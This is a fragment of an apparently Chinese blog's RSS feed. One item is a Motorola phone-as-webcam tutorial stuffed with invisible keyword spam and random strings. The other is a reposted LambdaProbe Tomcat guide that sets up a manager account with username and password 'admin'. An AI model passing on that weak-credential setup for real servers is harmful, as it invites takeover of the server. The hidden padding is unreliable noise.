#ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件-?0w-X9e0p6G8{&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;$H#q9K6g(l!I'?&amp;amp;P0V&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;span style="display: none"&gt;4s5_-}#?-o/_专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件&lt;/span&gt;&lt;font color="#ff0000"&gt;第二：motovision11.mpkg&lt;/font&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书:u%}({0j&amp;quot;K&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书 r$W't8r*}(m8R&amp;quot;V/|&lt;/font&gt;&lt;br&gt;&lt;font color="#ff0000"&gt;第三：全屏摄像头.jar&lt;/font&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;'K;m!X/r6O!j&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;span style="display: none"&gt;+x1r&amp;amp;b8t9z*u9w摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;下载好这三个软件，先在手机上安装好&lt;font color="#2e8b57"&gt; motovision11.mpkg&lt;/font&gt;和&lt;font color="#2e8b57"&gt;全屏摄像头.jar&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书)l9Z+y ^ X)F)x;`.z7U0H1m&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;5h2[-q5^&amp;quot;I-s9N;w G&amp;amp;['H&lt;/font&gt;&lt;br&gt;&lt;font color="#000000"&gt;不需要授权的&lt;font style="font-size: 0px; color: #ffffff"&gt;/]*})W%M*[!^#l/e'~&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;,d'i%n!o0^)v5o+\*]&lt;/font&gt;&lt;br&gt;&lt;font size="6"&gt;但是，最好重启一下手机，不重启，也许 &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="6"&gt;&lt;font color="#2e8b57"&gt;全屏摄像头.jar &lt;font color="#000000"&gt;会打不开的(要是还不行,就授权一下)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书9V&amp;amp;l0`'k:x&amp;amp;n4i2u,z&lt;/font&gt;&lt;br&gt;&lt;font color="#2e8b57"&gt;&lt;font color="#000000"&gt;&lt;br&gt;&lt;span style="display: none"&gt;/c-u8l(@!\&amp;amp;?;c-e#~/rIT168摩托罗拉论坛&lt;/span&gt;然后在电脑上安装 &lt;/font&gt;&lt;/font&gt;&lt;font color="#ff0000"&gt;MobileVisionPCSuite_Setup_WithDotFrameWork.exe &lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书#a&amp;quot;[3F$@'i;R+o;?.Q-@&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件*v!j9r.a1I6w2`&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;span style="display: none"&gt;2o:a(~6\#?0P2~专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件&lt;/span&gt;&lt;img border="0" src="http://mof.it168.com/attachment/day_070930/20070930_1cbb42232a6c6b305d3aUPZOgdZjQHdn.jpg"&gt;&lt;span style="display: none; left: 199px; position: absolute; top: 3305px"&gt;&lt;img border="0" src="http://moto.it168.com/images/WLM/attachimg.gif"&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;6E5f#j/^&amp;amp;_3D6C摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;3A%`#f#h;x,@9J;\摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;font color="#000000"&gt;到这里的时候 那四个勾，不要去掉，就是说，需要运行那四个软件，然后点 &lt;font color="#ff0000"&gt;Finish&lt;br&gt;&lt;span style="display: none"&gt;6_5f9c7U7B.O#U(V&amp;quot;`%}9~IT168摩托罗拉论坛&lt;/span&gt;&lt;font color="#000000"&gt;&lt;br&gt;&lt;span style="display: none"&gt;4V/o:}5H*N!`IT168摩托罗拉论坛&lt;/span&gt;接下来就是漫长的安装过程，大约3-5分钟，中间会出来几个MS-DOS的窗口，不要动它，一会就会提示&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书9}+I:c7w7I%S,O&amp;quot;v&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;span style="display: none"&gt;0y0?4K6~2r&amp;quot;S.p lmoto.it168.com&lt;/span&gt;&lt;img alt="点击在新窗口查看全图CTRL+鼠标滚轮放大或缩小" width="716" border="0" resized="true" src="http://mof.it168.com/attachment/day_070930/20070930_89a06884fe28a06d1621a7HuAGWdiu9d.jpg"&gt;&lt;span style="display: none"&gt;&lt;img border="0" src="http://moto.it168.com/images/WLM/attachimg.gif"&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;:L-v7K9x2u%^3h M摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;5F)S&amp;amp;H5T;c+v&amp;quot;FIT168摩托罗拉论坛&lt;/span&gt;然后 仍然继续！！！&lt;br&gt;&lt;span style="display: none"&gt;3N8w6O+h-w+q6|-u摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;IT168摩托罗拉论坛,h&amp;amp;r6^7]%e;]!A0i3H&lt;/font&gt;&lt;br&gt;OK.............&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书1u-@!k1I(P2A!d Q&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书2@&amp;amp;Z&amp;amp;s1D:M']%|4W&amp;amp;^&lt;/font&gt;&lt;br&gt;一直到安装结束.............&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;安装好以后，就打开 &lt;font color="#ff0000"&gt;Mobile Vision PC Suite&lt;br&gt;&lt;span style="display: none"&gt;)i2]3Y4K$@+U&amp;amp;}IT168摩托罗拉论坛&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;$O)_1|8y0j3[:g&lt;/font&gt;&lt;br&gt;这时会出现&lt;br&gt;&lt;span style="display: none"&gt;4O-f)k3?*?5Y;m2P2^摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;.V*k4U'o2D5s&lt;/span&gt;&lt;img border="0" src="http://mof.it168.com/attachment/day_070930/20070930_972ef7bea6ed6955de89gQ8moJkhx3si.jpg"&gt;&lt;span style="display: none; left: 199px; position: absolute; top: 4996px"&gt;&lt;img border="0" src="http://moto.it168.com/images/WLM/attachimg.gif"&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;*e0o,~*?2N+S i7[moto.it168.com&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;moto.it168.com#|4k&amp;amp;k!a8A%y0X0D$E&lt;/font&gt;&lt;br&gt;&lt;font color="#000000"&gt;然后手机，以 &lt;font size="5"&gt;&lt;font color="#ff0000"&gt;调制解调器 模式 或者 USBNET 模式 &lt;/font&gt;&lt;/font&gt;连接电脑，两种连接方式都可以&lt;br&gt;&lt;span style="display: none"&gt;!~+r#F1{,L1r7Q+V6G0G:\moto.it168.com&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;&amp;amp;~;l1h+a-v)x!w6i&lt;/span&gt;然后运行手机上的 &lt;font size="5"&gt;&lt;font color="#ff0000"&gt;motovision，点一下，就好，&lt;font color="#000000"&gt;&lt;font color="#ff0000"&gt;虽然没有出现什么界面，其实已经OK了。&lt;/font&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件(Z9F/C2T0X,N.y$F9p&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;span style="display: none"&gt;3G,t6x/m2A8L3G;R专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件&lt;/span&gt;现在点电脑上的连接，OK！！！是不是有东西了！！！&lt;font style="font-size: 0px; color: #ffffff"&gt;)o,Z%t-w#E/b&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;span style="display: none"&gt;%}/p8C%Z/a6@5t*i!b7B*k摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;img border="0" src="http://mof.it168.com/attachment/day_070930/20070930_ef070f95762260a463c0ncNca3whnRZw.jpg"&gt;&lt;span style="display: none"&gt;&lt;img border="0" src="http://moto.it168.com/images/WLM/attachimg.gif"&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;;|$I(P7K$h*H5s*@8U&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;%q#R4a0q&amp;quot;b8^1z;S&lt;/font&gt;&lt;br&gt;哈哈，也能视频聊天了！！！&lt;br&gt;&lt;span style="display: none"&gt;.a(q1r%M'A专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;3y;Q2J)d*v&amp;amp;Jmoto.it168.com&lt;/span&gt;&lt;font color="#2e8b57"&gt;大家可以点180度的旋转哦～～～&lt;/font&gt;&lt;br&gt;&lt;span style="display: none"&gt;2H0G6u&amp;quot;|,M!P2} k&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件4|4B-j#R0B7A.`5i&lt;/font&gt;&lt;br&gt;恭喜大家，成功了！！！&lt;br&gt;&lt;span style="display: none"&gt;3A6A&amp;quot;o:@$M7qmoto.it168.com&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;#F(f!I2Q7c!^&lt;/font&gt;&lt;br&gt;对了，要视频聊天，要打开 &lt;font color="#ff0000"&gt;全屏摄像头.jar&lt;br&gt;&lt;span style="display: none"&gt;:s#n4t%H,b!}专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件&lt;/span&gt;&lt;br&gt;&lt;span style="display: none"&gt;'m%L;]!M&amp;quot;}.S&amp;quot;D [摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书&lt;/span&gt;&lt;font size="4"&gt;&lt;font color="#2e8b57"&gt;（有人说，无法打开全屏，如果打不开就：先进入聊天软件的视频调节，然后再启动 全屏摄像头.jar）&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书9C%T,]2g&amp;amp;c7[&lt;/font&gt;&lt;br&gt;开启 &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font size="5"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font color="#ff0000"&gt;全屏摄像头.jar &lt;font size="4"&gt;&lt;font color="#000000"&gt;之前，最好把屏保关了&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件.Z&amp;quot;v!f9e&amp;quot;Q;s&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font size="5"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font color="#ff0000"&gt;&lt;font size="4"&gt;&lt;font color="#000000"&gt;&lt;font color="#2e8b57"&gt;如果还是不行，那就换成默认主题！！！&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件 A'k%N;O1w!k9[8|&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件9v*P-^7~8G$b&lt;/font&gt;&lt;br&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font size="5"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font color="#ff0000"&gt;&lt;font size="4"&gt;&lt;font color="#000000"&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;+~5P1u3u-n!t&lt;/font&gt;&lt;br&gt;&lt;font size="5"&gt;&lt;font color="#f4a460"&gt;关闭 全屏摄像头 是 1 键&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;span style="display: none"&gt;7@%K2F!R;j3{&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;摩托罗拉,A1200,V3,V3c,V3i,E680,E680i,E398,E2,L6,L7,v8,v6,铃声下载,图片下载,刷机,手机视频,面板,主题,手机软件,手机MTV,电子书1U1\2w&amp;quot;\9w4y1`2P.L'N(b&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;moto.it168.com)B4w2v4l9q&amp;amp;j(I&lt;/font&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font size="5"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;现在可以视频聊天了！！！&lt;font style="font-size: 0px; color: #ffffff"&gt;moto.it168.com!P0H j3[8v&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;5d5E$r5S @ e G&lt;/font&gt;&lt;br&gt;附件上传完毕！！！&lt;br&gt;&lt;span style="display: none"&gt;+Y&amp;amp;L0C+G(Q4I&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;*g5S3q'e$W4_&amp;amp;`.O3l4l&lt;/font&gt;&lt;br&gt;有问题，请PM我！！！&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;span style="display: none"&gt;|2N!}&amp;quot;N+?*P5R(g:~3]IT168摩托罗拉论坛&lt;/span&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;IT168摩托罗拉论坛 _'?8`&amp;amp;G*O3x-n0F&amp;quot;d&lt;/font&gt;&lt;br&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font size="5"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font color="#ff0000"&gt;&lt;font color="#000000"&gt;&lt;font size="4"&gt;&lt;font color="#2e8b57"&gt;linlin83145755 兔友提供了一个可以装在SD卡的 motovision.mpkg&lt;/font&gt;&lt;/font&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件2E4a2r&amp;quot;E/Z)u%g&lt;/font&gt;&lt;br&gt;&lt;font style="font-size: 0px; color: #ffffff"&gt;专业的摩托罗拉手机玩家交流区,手机铃声,手机电影,手机主题,手机图片,手机软件,手机报价,E2,A1200,E398,V3,L6,L7,E6,E680,v8,v6,Linux软件,mobile软件.y(_#n+@'M/M-r0l&lt;/font&gt;&lt;br&gt;&lt;font size="4"&gt;下面是 luzhpr 的心得:电脑和手机安装好以后,&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="4"&gt;&lt;font color="#ff0000"&gt;不要心急，先重启一下手机和电脑，再连上手机（建议用ＵＳＢＬＡＮ），连接成功，再开 motovision11.mpkg，接着是Mobile Vision PC Suite，最后就是手机上的全屏摄像头.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=118</guid><pubDate>Wed, 10 Oct 2007 03:50:00 GMT</pubDate></item><item><title>[精品软件系列]LambdaProbe【转】</title><link>http://www.chendw.cn:8080/view.aspx?id=117</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;div class="postTitle"&gt;&lt;a class="postTitle2" href="http://www.blogjava.net/beansoft/archive/2006/12/19/88881.html"&gt;LambdaProbe 中文包下载(99%完成)&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/latest.shtml"&gt;LambdaProbe 1.7b&lt;/a&gt; 发布了,原作者网站不提供中文语言包, 因此本站义务翻译此包, 但是不提供任何担保。翻译已完成了99%, 剩下的1%就是有部分帮助文件和各位的测试建议了. 下载: &lt;a href="http://www.blogjava.net/Files/beansoft/messages_zh_CN.zip"&gt;&lt;strong&gt;&lt;span style="color: #800080;"&gt;messages_zh_CN.zip&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt; 9KB.&lt;br /&gt;用法: 把下载的文件解压缩, 将其中的 messages_zh_CN.properties 放到 $TOMCAT_HOMEwebapps\probe\WEB-INF 下即可.&lt;br /&gt;如果您想协助翻译, 请自己使用工具编辑此文件. 如果没有合适的工具, 推荐下载本站开发的 Java 属性文件编辑器:&lt;br /&gt;&lt;a href="http://gro.clinux.org/frs/download.php/1036/PropertyEditor.jar"&gt;PropertyEditor.jar&lt;/a&gt; 47KB &lt;a href="http://gro.clinux.org/frs/download.php/1037/PropertyEditor_src.zip"&gt;PropertyEditor_src.zip&lt;/a&gt; 36KB 截屏: &lt;a href="http://gro.clinux.org/frs/download.php/1038/PropertyEditor_screenshotV2-1_1.png"&gt;PropertyEditor_screenshotV2-1_1.png&lt;/a&gt; (位于&lt;a title="http://gro.clinux.org/projects/beansoft/" href="http://gro.clinux.org/projects/beansoft/"&gt;http://gro.clinux.org/projects/beansoft/&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;LambdaProbe 是一款强大的免费开源工具，LambdaProbe拥有几乎所有Tomcat Manager的功能, 可以说是一个增强版本的 Tomcat Manager。除此之外，Tomcat Probe 还拥有很多让开发者和系统管理者更方便的性能。从而使得Tomcat对开发者和管理者更加透明。包括 应用程序,数据源,发布,日志,线程,集群,系统信息,状态,连接器状态这些功能. 如配合 JDK 1.5 甚至可以实时的画出 Server 的详细内存占用状态. 它是基于 Web + AJAX 的, 无刷新实时画图.&lt;/p&gt;
&lt;p&gt;如何安装: 先下载 ZIP 文件(&lt;a href="http://www.lambdaprobe.org/downloads/1.7/probe.1.7b.zip"&gt;&lt;span style="color: #800080;"&gt;LambdaProbe 1.7b, BINARIES&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ~7Mb), 解压后只需要发布probe.war文件到 Tomcat 服务器的 webapps 目录下. 支持的Tomcat 服务器版本: 5.0, 5.5, 6.0. 当然还有一个地方需要设置, 请在 &lt;strong&gt;&lt;span style="color: #0080ff;"&gt;conf/tomcat-users.xml&lt;/span&gt;&lt;/strong&gt; 中添加 manager 账户, probe 需要这个账户才能正确登录使用. 如果不知道怎么做, 你可以把文件内容改成这样即可拥有一个用户名和密码都为 admin 的管理员账户:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;span style="color: #0080ff;"&gt;&amp;lt;?xml version='1.0' encoding='utf-8'?&amp;gt;&lt;br /&gt;&amp;lt;tomcat-users&amp;gt;&lt;br /&gt;&amp;lt;role rolename="manager"/&amp;gt;&lt;br /&gt;&amp;lt;role rolename="tomcat"/&amp;gt;&lt;br /&gt;&amp;lt;role rolename="admin"/&amp;gt;&lt;br /&gt;&amp;lt;role rolename="role1"/&amp;gt;&lt;br /&gt;&amp;lt;role rolename="Admin"/&amp;gt;&lt;br /&gt;&amp;lt;user username="both" password="tomcat" roles="tomcat,role1"/&amp;gt;&lt;br /&gt;&amp;lt;user username="tomcat" password="tomcat" roles="tomcat"/&amp;gt;&lt;br /&gt;&amp;lt;user username="admin" password="admin" roles="admin,manager,Admin"/&amp;gt;&lt;br /&gt;&amp;lt;user username="role1" password="tomcat" roles="role1"/&amp;gt;&lt;br /&gt;&amp;lt;/tomcat-users&amp;gt;&lt;/span&gt; &lt;/em&gt;&lt;/p&gt;
&lt;dl&gt;&lt;dt&gt;&lt;a href="http://www.lambdaprobe.org/d/getlatest.htm"&gt;&lt;img src="http://www.lambdaprobe.org/d/css/fresh/download.gif" border="0" alt="" width="39" height="41" /&gt;&lt;span style="color: #800080;"&gt; &lt;/span&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;a href="http://www.lambdaprobe.org/d/getlatest.htm"&gt;&lt;span style="color: #800080;"&gt;立即下载 Lambda Probe!&lt;/span&gt;&lt;/a&gt; &lt;/dd&gt;&lt;dd&gt;直接下载 Lambda Probe, 不需要注册. 完全免费! &lt;/dd&gt;&lt;dd&gt;&lt;/dd&gt;&lt;dd&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://demo.lambdaprobe.org/"&gt;&lt;img src="http://www.lambdaprobe.org/d/css/fresh/pump.gif" border="0" alt="" width="39" height="37" /&gt;&lt;span style="color: #800080;"&gt; &lt;/span&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;a href="http://demo.lambdaprobe.org/"&gt;&lt;span style="color: #800080;"&gt;在线演示&lt;/span&gt;&lt;/a&gt; &lt;/dd&gt;&lt;dd&gt;最新版的 Lambda Probe 在线展示! 登录密码: demo/demo &lt;/dd&gt;&lt;/dl&gt;
&lt;p&gt;中文版截屏:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://www.blogjava.net/images/blogjava_net/beansoft/17589/o_LambdaProbe_mem.png" alt="http://www.blogjava.net/images/blogjava_net/beansoft/17589/o_LambdaProbe_mem.png" /&gt;&lt;/p&gt;
&lt;p&gt;官方网站的截屏:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/datasource_test.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/datasource_test_thumb.png" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Datasource test view 数据源测试视图&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/app_summary.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/app_summary_thumb.png" alt="" /&gt;&lt;span style="color: #800080;"&gt; &lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Application summary 应用程序摘要&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/wrapper.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/wrapper_thumb.png" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Java Service Wrapper control 服务控制&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/system.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/system_thumb.png" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;System monitoring 系统监控&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/memory.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/memory_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Memory monitoring 内存监控&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/cluster.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/cluster_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cluster information 集群信息&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/tail_log.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/tail_log_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Log file tailing&amp;nbsp;&amp;nbsp;&amp;nbsp; 实时追踪log文件&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/applications.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/applications_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Deployed application&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lambdaprobe.org/d/screenshots/full/datasources.png"&gt;&lt;img src="http://www.lambdaprobe.org/d/screenshots/thumbnails/datasources_thumb.jpg" alt="" /&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Declared datasources&lt;/p&gt;
